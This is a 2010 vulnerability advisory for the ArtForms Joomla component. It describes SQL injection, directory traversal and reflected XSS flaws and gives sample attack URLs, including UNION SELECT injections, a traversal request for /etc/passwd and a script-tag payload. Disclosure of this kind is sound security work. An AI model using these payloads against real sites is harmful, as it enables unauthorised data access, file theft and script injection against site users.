ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities
NameArtForms
Vendorhttp://joomlacode.org/gf/project/jartforms/
Versions Affected 2.1b7.2 RC2
AuthorSalvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date2010-07-07
X. INDEX
I.ABOUT THE APPLICATION
II. DESCRIPTION
III.ANALYSIS
IV. SAMPLE CODE
V.FIX
I. ABOUT THE APPLICATION
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ArtForms is a popular Joomla component.
The ArtForms componentisapackagefor an easy From
Generator for Joomla 1.0.xx. Itallowsyou to generate
asmuchFormsasyou like, you can define all fields
thatyouneed and also make file upload and attachment
possible.
II. DESCRIPTION
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Some parameters are not sanitisedbeforebeingused in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version2.1b7.2 RC2.
Other versions may also be affected.
III. ANALYSIS
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Summary:
A) Multiple SQL Injection
B) Directory Traversal
C) Reflected XSS
A) Multiple SQL Injection
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The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.
B) Directory Traversal
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Thelparameterinalikon/captcha.php is not properly
sanitised before being used to create a pathfora file
that will be downloaded.This can be exploited to download
arbitraryfilesfrom localresourcesviadirectory
traversalattacks.
C) Reflected XSS
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Theafmsgparameterisnotproperly sanitised before
being printed.This allows the execution of arbitrary HTML
code.
IV. SAMPLE CODE
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A) Multiple SQL Injection
index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
B) Directory Traversal
http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00
C) Reflected XSS
index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>
V. FIX
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No fix.